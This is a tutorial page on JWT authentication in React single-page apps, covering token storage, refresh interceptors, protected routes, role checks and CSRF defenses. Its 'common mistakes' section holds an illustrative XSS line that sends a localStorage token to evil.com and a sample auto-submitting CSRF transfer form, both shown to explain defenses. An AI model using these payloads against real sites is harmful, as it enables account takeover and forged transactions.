Skip to the content.
Agent Skill Available Download this Agent Skill (SKILL.md) to drop into ~/.claude/skills/ or any Agent-Skills-compatible runtime for AI-assisted Authentication work.
Download
authentication

Authentication

Key Insight

Authentication in SPAs uses token-based systems (JWT) stored in memory or httpOnly cookies, where login returns an access token (short-lived, 15 min) and refresh token (long-lived, 7 days). The access token, included in the Authorization header (Bearer eyJ...), proves identity for API requests; the refresh token exchanges for a new access token when the access token expires; and logout clears all tokens, preventing further API access. The critical security trade-off: localStorage is vulnerable to XSS attacks (JavaScript can steal tokens), httpOnly cookies prevent XSS but require CSRF protection, and memory storage (React state) is most secure but lost on page refresh unless combined with refresh token flow.

Detailed Description

Authentication is the process of verifying user identity before granting access to protected resources. In modern Single Page Applications, this involves maintaining user session state across multiple API calls without requiring re-login on every request.

Traditional Session-based Auth (Server-side Sessions):

Token-based Authentication (Modern SPAs):

JWT Structure (3 parts separated by dots):

  1. Header: Algorithm + token type → {"alg": "HS256", "typ": "JWT"}
  2. Payload: User data + expiration → {"userId": 123, "role": "admin", "exp": 1672531200}
  3. Signature: Prevents tampering → HMACSHA256(header + payload, secret)

Core Auth Concepts:

  1. Login Flow: Submit credentials → Server validates → Return access token + refresh token → Store tokens → Redirect to dashboard
  2. Protected Routes: Check if user is authenticated before rendering route, redirect to /login if not
  3. Token Refresh: Access token expires (15min) → Use refresh token to get new access token → Continue without re-login
  4. Logout: Clear tokens from storage → Optionally blacklist refresh token server-side → Redirect to /login
  5. Role-Based Access Control (RBAC): JWT payload includes user roles → Check roles before showing UI/making API calls

Token Storage Options (Security Trade-offs):

Storage XSS Vulnerable? CSRF Vulnerable? Persists Refresh? Best For
localStorage ✅ Yes (JS can read) ❌ No ✅ Yes Prototypes (not production)
sessionStorage ✅ Yes (JS can read) ❌ No ❌ No (clears on tab close) Testing
Memory (React state) ❌ No ❌ No ❌ No (lost on refresh) Most secure + refresh token
httpOnly cookie ❌ No (JS can’t read) ✅ Yes (needs CSRF token) ✅ Yes Production (with CSRF protection)

Refresh Token Pattern:

Common Auth Patterns:

  1. Protected Route Component: Wrapper that checks authentication before rendering child routes
  2. useAuth Hook: Provides login, logout, user info, isAuthenticated state
  3. Axios Interceptors: Automatically add Authorization header to requests, handle 401 errors, refresh tokens
  4. Auth Context: React Context providing authentication state and actions globally

Why Authentication Matters:

Code Examples

Basic Example: Login Flow with JWT

// ===== AUTH CONTEXT + LOGIN =====
// AuthContext.js - Global authentication state

import React, { createContext, useContext, useState, useEffect } from 'react';

const AuthContext = createContext(null);

export function AuthProvider({ children }) {
  const [user, setUser] = useState(null);
  const [token, setToken] = useState(null);
  const [loading, setLoading] = useState(true);
  
  // Check if user is already logged in on mount
  useEffect(() => {
    const storedToken = localStorage.getItem('token');
    if (storedToken) {
      // Validate token and get user info
      validateToken(storedToken);
    } else {
      setLoading(false);
    }
  }, []);
  
  const validateToken = async (token) => {
    try {
      const response = await fetch('/api/auth/me', {
        headers: {
          'Authorization': `Bearer ${token}`
        }
      });
      
      if (response.ok) {
        const userData = await response.json();
        setUser(userData);
        setToken(token);
      } else {
        // Token invalid, clear it
        localStorage.removeItem('token');
      }
    } catch (error) {
      console.error('Token validation failed:', error);
    } finally {
      setLoading(false);
    }
  };
  
  const login = async (email, password) => {
    try {
      const response = await fetch('/api/auth/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ email, password })
      });
      
      if (!response.ok) {
        throw new Error('Login failed');
      }
      
      const data = await response.json();
      const { access_token, user: userData } = data;
      
      // Store token
      localStorage.setItem('token', access_token);
      setToken(access_token);
      setUser(userData);
      
      return { success: true };
    } catch (error) {
      return { success: false, error: error.message };
    }
  };
  
  const logout = () => {
    localStorage.removeItem('token');
    setToken(null);
    setUser(null);
  };
  
  const value = {
    user,
    token,
    login,
    logout,
    isAuthenticated: !!user,
    loading
  };
  
  return (
    <AuthContext.Provider value={value}>
      {children}
    </AuthContext.Provider>
  );
}

export function useAuth() {
  const context = useContext(AuthContext);
  if (!context) {
    throw new Error('useAuth must be used within AuthProvider');
  }
  return context;
}


// ===== LOGIN FORM COMPONENT =====
// LoginPage.js - Login form using useAuth hook

import React, { useState } from 'react';
import { useNavigate } from 'react-router-dom';
import { useAuth } from './AuthContext';

function LoginPage() {
  const [email, setEmail] = useState('');
  const [password, setPassword] = useState('');
  const [error, setError] = useState('');
  const [isSubmitting, setIsSubmitting] = useState(false);
  
  const { login } = useAuth();
  const navigate = useNavigate();
  
  const handleSubmit = async (e) => {
    e.preventDefault();
    setError('');
    setIsSubmitting(true);
    
    const result = await login(email, password);
    
    if (result.success) {
      navigate('/dashboard');
    } else {
      setError(result.error || 'Invalid email or password');
    }
    
    setIsSubmitting(false);
  };
  
  return (
    <div className="login-page">
      <h1>Login</h1>
      
      {error && (
        <div className="error-message" role="alert">
          {error}
        </div>
      )}
      
      <form onSubmit={handleSubmit}>
        <div className="form-group">
          <label htmlFor="email">Email</label>
          <input
            id="email"
            type="email"
            value={email}
            onChange={(e) => setEmail(e.target.value)}
            required
          />
        </div>
        
        <div className="form-group">
          <label htmlFor="password">Password</label>
          <input
            id="password"
            type="password"
            value={password}
            onChange={(e) => setPassword(e.target.value)}
            required
          />
        </div>
        
        <button type="submit" disabled={isSubmitting}>
          {isSubmitting ? 'Logging in...' : 'Login'}
        </button>
      </form>
    </div>
  );
}

export default LoginPage;


// ===== PROTECTED ROUTE =====
// ProtectedRoute.js - Redirect to login if not authenticated

import { Navigate, useLocation } from 'react-router-dom';
import { useAuth } from './AuthContext';

function ProtectedRoute({ children }) {
  const { isAuthenticated, loading } = useAuth();
  const location = useLocation();
  
  if (loading) {
    return <div>Loading...</div>;
  }
  
  if (!isAuthenticated) {
    // Redirect to login, save attempted URL
    return <Navigate to="/login" state={{ from: location.pathname }} replace />;
  }
  
  return children;
}

export default ProtectedRoute;


// ===== APP ROUTING =====
// App.js - Setup routes with protection

import { BrowserRouter, Routes, Route } from 'react-router-dom';
import { AuthProvider } from './AuthContext';
import LoginPage from './LoginPage';
import Dashboard from './Dashboard';
import ProtectedRoute from './ProtectedRoute';

function App() {
  return (
    <AuthProvider>
      <BrowserRouter>
        <Routes>
          <Route path="/login" element={<LoginPage />} />
          
          <Route
            path="/dashboard"
            element={
              <ProtectedRoute>
                <Dashboard />
              </ProtectedRoute>
            }
          />
          
          <Route path="/" element={<Navigate to="/dashboard" />} />
        </Routes>
      </BrowserRouter>
    </AuthProvider>
  );
}

export default App;

Practical Example: Axios Interceptors with Token Refresh

// ===== AXIOS INSTANCE WITH INTERCEPTORS =====
// api.js - Automatic token handling

import axios from 'axios';

const api = axios.create({
  baseURL: '/api',
  headers: {
    'Content-Type': 'application/json'
  }
});

// Request interceptor - Add token to every request
api.interceptors.request.use(
  (config) => {
    const token = localStorage.getItem('token');
    if (token) {
      config.headers.Authorization = `Bearer ${token}`;
    }
    return config;
  },
  (error) => {
    return Promise.reject(error);
  }
);

// Response interceptor - Handle 401 errors and refresh token
let isRefreshing = false;
let failedQueue = [];

const processQueue = (error, token = null) => {
  failedQueue.forEach(prom => {
    if (error) {
      prom.reject(error);
    } else {
      prom.resolve(token);
    }
  });
  
  failedQueue = [];
};

api.interceptors.response.use(
  (response) => response,
  async (error) => {
    const originalRequest = error.config;
    
    // If 401 and we haven't tried to refresh yet
    if (error.response?.status === 401 && !originalRequest._retry) {
      if (isRefreshing) {
        // Already refreshing, queue this request
        return new Promise((resolve, reject) => {
          failedQueue.push({ resolve, reject });
        })
          .then(token => {
            originalRequest.headers.Authorization = `Bearer ${token}`;
            return api(originalRequest);
          })
          .catch(err => Promise.reject(err));
      }
      
      originalRequest._retry = true;
      isRefreshing = true;
      
      try {
        // Call refresh endpoint
        const response = await axios.post('/api/auth/refresh', {
          refresh_token: localStorage.getItem('refresh_token')
        });
        
        const { access_token } = response.data;
        localStorage.setItem('token', access_token);
        
        // Update default header
        api.defaults.headers.Authorization = `Bearer ${access_token}`;
        originalRequest.headers.Authorization = `Bearer ${access_token}`;
        
        processQueue(null, access_token);
        
        return api(originalRequest);
      } catch (refreshError) {
        processQueue(refreshError, null);
        
        // Refresh failed, logout user
        localStorage.removeItem('token');
        localStorage.removeItem('refresh_token');
        window.location.href = '/login';
        
        return Promise.reject(refreshError);
      } finally {
        isRefreshing = false;
      }
    }
    
    return Promise.reject(error);
  }
);

export default api;


// ===== USING THE API INSTANCE =====
// UserProfile.js - Fetch protected data

import React, { useEffect, useState } from 'react';
import api from './api';

function UserProfile() {
  const [profile, setProfile] = useState(null);
  const [loading, setLoading] = useState(true);
  
  useEffect(() => {
    fetchProfile();
  }, []);
  
  const fetchProfile = async () => {
    try {
      // Token automatically added by interceptor
      const response = await api.get('/users/me');
      setProfile(response.data);
    } catch (error) {
      console.error('Failed to fetch profile:', error);
    } finally {
      setLoading(false);
    }
  };
  
  const updateProfile = async (updates) => {
    try {
      const response = await api.patch('/users/me', updates);
      setProfile(response.data);
    } catch (error) {
      console.error('Failed to update profile:', error);
    }
  };
  
  if (loading) return <div>Loading profile...</div>;
  if (!profile) return <div>No profile found</div>;
  
  return (
    <div>
      <h1>{profile.name}</h1>
      <p>Email: {profile.email}</p>
      <p>Role: {profile.role}</p>
    </div>
  );
}

export default UserProfile;

Advanced Example: Secure Token Storage with Refresh Flow

// ===== SECURE AUTH SERVICE =====
// authService.js - Memory storage + httpOnly cookies for refresh token

class AuthService {
  constructor() {
    this.accessToken = null;  // Stored in memory only
    this.tokenExpirationTime = null;
    this.refreshTokenTimer = null;
  }
  
  async login(email, password) {
    try {
      const response = await fetch('/api/auth/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ email, password }),
        credentials: 'include'  // Include cookies (refresh token)
      });
      
      if (!response.ok) {
        throw new Error('Login failed');
      }
      
      const data = await response.json();
      
      // Access token in memory
      this.accessToken = data.access_token;
      this.tokenExpirationTime = Date.now() + (data.expires_in * 1000);
      
      // Refresh token sent as httpOnly cookie by server
      // JavaScript cannot access it (XSS protection)
      
      // Schedule automatic refresh before expiration
      this.scheduleTokenRefresh();
      
      return { success: true, user: data.user };
    } catch (error) {
      return { success: false, error: error.message };
    }
  }
  
  scheduleTokenRefresh() {
    // Clear existing timer
    if (this.refreshTokenTimer) {
      clearTimeout(this.refreshTokenTimer);
    }
    
    // Refresh 1 minute before expiration
    const refreshTime = this.tokenExpirationTime - Date.now() - 60000;
    
    if (refreshTime > 0) {
      this.refreshTokenTimer = setTimeout(() => {
        this.refreshToken();
      }, refreshTime);
    }
  }
  
  async refreshToken() {
    try {
      const response = await fetch('/api/auth/refresh', {
        method: 'POST',
        credentials: 'include'  // Send httpOnly cookie with refresh token
      });
      
      if (!response.ok) {
        throw new Error('Token refresh failed');
      }
      
      const data = await response.json();
      
      // Update access token
      this.accessToken = data.access_token;
      this.tokenExpirationTime = Date.now() + (data.expires_in * 1000);
      
      // Schedule next refresh
      this.scheduleTokenRefresh();
      
      return true;
    } catch (error) {
      // Refresh failed, logout user
      this.logout();
      window.location.href = '/login';
      return false;
    }
  }
  
  async logout() {
    try {
      // Call logout endpoint to invalidate refresh token
      await fetch('/api/auth/logout', {
        method: 'POST',
        credentials: 'include'
      });
    } catch (error) {
      console.error('Logout error:', error);
    } finally {
      // Clear access token from memory
      this.accessToken = null;
      this.tokenExpirationTime = null;
      
      if (this.refreshTokenTimer) {
        clearTimeout(this.refreshTokenTimer);
        this.refreshTokenTimer = null;
      }
    }
  }
  
  getAccessToken() {
    // Check if token is still valid
    if (this.accessToken && Date.now() < this.tokenExpirationTime) {
      return this.accessToken;
    }
    return null;
  }
  
  isAuthenticated() {
    return this.getAccessToken() !== null;
  }
}

export default new AuthService();


// ===== ROLE-BASED ACCESS CONTROL =====
// RoleGuard.js - Check user roles for access

import { useAuth } from './AuthContext';
import { Navigate } from 'react-router-dom';

function RoleGuard({ children, requiredRole }) {
  const { user, isAuthenticated, loading } = useAuth();
  
  if (loading) {
    return <div>Loading...</div>;
  }
  
  if (!isAuthenticated) {
    return <Navigate to="/login" replace />;
  }
  
  // Check if user has required role
  if (requiredRole && user.role !== requiredRole) {
    return <Navigate to="/unauthorized" replace />;
  }
  
  return children;
}

export default RoleGuard;


// ===== USAGE IN ROUTES =====
// AdminPanel.js - Only accessible to admins

import RoleGuard from './RoleGuard';

function App() {
  return (
    <Routes>
      <Route path="/login" element={<LoginPage />} />
      
      <Route
        path="/admin"
        element={
          <RoleGuard requiredRole="admin">
            <AdminPanel />
          </RoleGuard>
        }
      />
      
      <Route
        path="/dashboard"
        element={
          <ProtectedRoute>
            <Dashboard />
          </ProtectedRoute>
        }
      />
    </Routes>
  );
}


// ===== DECODE JWT TO GET USER INFO =====
// jwtUtils.js - Parse JWT payload

export function decodeJWT(token) {
  try {
    const parts = token.split('.');
    if (parts.length !== 3) {
      throw new Error('Invalid JWT');
    }
    
    // Decode base64 payload
    const payload = JSON.parse(atob(parts[1]));
    return payload;
  } catch (error) {
    console.error('Failed to decode JWT:', error);
    return null;
  }
}

export function isTokenExpired(token) {
  const payload = decodeJWT(token);
  if (!payload || !payload.exp) {
    return true;
  }
  
  // exp is in seconds, Date.now() is in milliseconds
  return Date.now() >= payload.exp * 1000;
}

// Usage
const token = localStorage.getItem('token');
if (token && !isTokenExpired(token)) {
  const payload = decodeJWT(token);
  console.log('User ID:', payload.userId);
  console.log('Roles:', payload.roles);
}

Common Mistakes

1. Storing JWT in localStorage (XSS Vulnerability)

Mistake: Storing authentication tokens in localStorage where malicious JavaScript can steal them.

// ❌ BAD: localStorage vulnerable to XSS attacks
function login(email, password) {
  fetch('/api/login', {
    method: 'POST',
    body: JSON.stringify({ email, password })
  })
    .then(r => r.json())
    .then(data => {
      localStorage.setItem('token', data.access_token);
      // If attacker injects <script> tag via XSS:
      // <script>
      //   fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))
      // </script>
      // Now attacker has your token!
    });
}


// ✅ GOOD: Store in memory + httpOnly cookie for refresh token
class AuthService {
  constructor() {
    this.accessToken = null;  // Memory only, XSS can't access
  }
  
  async login(email, password) {
    const response = await fetch('/api/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ email, password }),
      credentials: 'include'  // Server sets httpOnly cookie
    });
    
    const data = await response.json();
    
    // Access token in memory (lost on refresh, but short-lived)
    this.accessToken = data.access_token;
    
    // Refresh token sent as httpOnly cookie
    // JavaScript CANNOT access it: document.cookie won't show it
    // XSS attacks can't steal it
  }
  
  getToken() {
    return this.accessToken;
  }
}

// Server-side (Node.js/Express):
app.post('/api/login', (req, res) => {
  // ... validate credentials ...
  
  const accessToken = generateAccessToken(user);  // 15 min expiry
  const refreshToken = generateRefreshToken(user);  // 7 days expiry
  
  // Send refresh token as httpOnly cookie
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,  // JavaScript can't access
    secure: true,    // HTTPS only
    sameSite: 'strict',  // CSRF protection
    maxAge: 7 * 24 * 60 * 60 * 1000  // 7 days
  });
  
  res.json({
    access_token: accessToken,
    expires_in: 900  // 15 minutes
  });
});

Why it matters: XSS attacks can steal localStorage tokens, gaining full account access. httpOnly cookies can’t be accessed by JavaScript.

2. Not Handling Token Expiration

Mistake: Continuing to use expired tokens, causing 401 errors on every request.

// ❌ BAD: No expiration handling
function fetchUserData() {
  const token = localStorage.getItem('token');
  
  fetch('/api/users/me', {
    headers: {
      'Authorization': `Bearer ${token}`
    }
  })
    .then(r => {
      if (r.status === 401) {
        // Token expired! But user just sees "Unauthorized"
        // No automatic refresh, user must login again
        alert('Please login again');
      }
      return r.json();
    });
}


// ✅ GOOD: Automatic token refresh on 401
let isRefreshing = false;
let refreshSubscribers = [];

api.interceptors.response.use(
  response => response,
  async error => {
    const originalRequest = error.config;
    
    if (error.response?.status === 401 && !originalRequest._retry) {
      if (isRefreshing) {
        // Already refreshing, wait for it
        return new Promise(resolve => {
          refreshSubscribers.push((token) => {
            originalRequest.headers.Authorization = `Bearer ${token}`;
            resolve(api(originalRequest));
          });
        });
      }
      
      originalRequest._retry = true;
      isRefreshing = true;
      
      try {
        const { data } = await axios.post('/api/auth/refresh', {}, {
          withCredentials: true  // Send httpOnly cookie
        });
        
        const newToken = data.access_token;
        authService.accessToken = newToken;
        
        // Retry all queued requests
        refreshSubscribers.forEach(callback => callback(newToken));
        refreshSubscribers = [];
        
        originalRequest.headers.Authorization = `Bearer ${newToken}`;
        return api(originalRequest);
      } catch (refreshError) {
        // Refresh failed, logout
        authService.logout();
        window.location.href = '/login';
        throw refreshError;
      } finally {
        isRefreshing = false;
      }
    }
    
    return Promise.reject(error);
  }
);

Why it matters: Users shouldn’t have to re-login every 15 minutes. Refresh tokens enable seamless token renewal.

3. Missing CSRF Protection with Cookies

Mistake: Using cookies for auth without CSRF tokens, allowing cross-site request forgery.

// ❌ BAD: Cookie-based auth without CSRF protection
// Server sets auth cookie
app.post('/api/login', (req, res) => {
  res.cookie('auth', token, { httpOnly: true });
  res.json({ success: true });
});

// Browser automatically sends cookie with EVERY request
// Attacker creates malicious site:
// <form action="https://yoursite.com/api/transfer-money" method="POST">
//   <input name="to" value="attacker" />
//   <input name="amount" value="1000" />
// </form>
// <script>document.forms[0].submit()</script>
//
// When victim visits attacker site, form submits with victim's cookie!


// ✅ GOOD: CSRF token verification
// Server generates CSRF token and sends in cookie + header
app.post('/api/login', (req, res) => {
  const csrfToken = generateCSRFToken();
  
  res.cookie('auth', authToken, { httpOnly: true, sameSite: 'strict' });
  res.cookie('csrf', csrfToken, { sameSite: 'strict' });  // Readable by JS
  
  res.json({ success: true, csrfToken });
});

// Client includes CSRF token in header
axios.interceptors.request.use(config => {
  const csrfToken = getCookie('csrf');
  if (csrfToken) {
    config.headers['X-CSRF-Token'] = csrfToken;
  }
  return config;
});

// Server verifies token matches
app.post('/api/transfer-money', (req, res) => {
  const csrfFromHeader = req.headers['x-csrf-token'];
  const csrfFromCookie = req.cookies.csrf;
  
  if (csrfFromHeader !== csrfFromCookie) {
    return res.status(403).json({ error: 'CSRF validation failed' });
  }
  
  // Process transfer...
});

// Attacker can't get CSRF token (different origin)
// sameSite='strict' prevents cookie from being sent cross-origin

Why it matters: CSRF attacks trick browsers into making authenticated requests to your site from malicious sites.

Token Service

JWT Authentication

Token-based auth uses JWT (JSON Web Tokens) for stateless authentication, meaning the server does not need to store session data. The token contains information about the user and is signed to prevent tampering.

JWT Structure:

Token Expiration

Example of Token Generation:

{
  "user_id": 123456,
  "email": "user@example.com",
  "roles": ["user", "admin"],
  "iat": 1627905189,
  "exp": 1627908789
}

Roles and Permissions

Most SPA backends support Role-Based Access Control (RBAC). Roles are assigned to users, and these roles determine what actions they can perform within the application.

Role Definitions:

Permission Checks:

Each API request that requires authorization must include a valid JWT or session token. Based on the user’s role, the system will grant or deny access to specific resources.

Example:


Session Management


Multi-factor Authentication (MFA) (Optional)

If enabled, users will be prompted for an additional form of authentication, such as a one-time passcode (OTP) sent via email or SMS, after entering their primary credentials.


API Endpoints

Endpoint Method Description
/auth/login POST Login and obtain access token
/auth/register POST Register a new user
/auth/forgot-password POST Request password reset
/auth/reset-password POST Reset password using a token
/auth/refresh-token POST Obtain a new access token using refresh token
/auth/logout POST Log out (terminate session)

Error Handling


Security Considerations

Quick Quiz

Where should a JWT access token be stored on the client?

How do you implement silent token refresh without logging users out mid-session?

What's the cleanest way to protect routes in a React app?

What is the difference between authentication and authorization?

Which of these is NOT a standard production hardening for auth?

References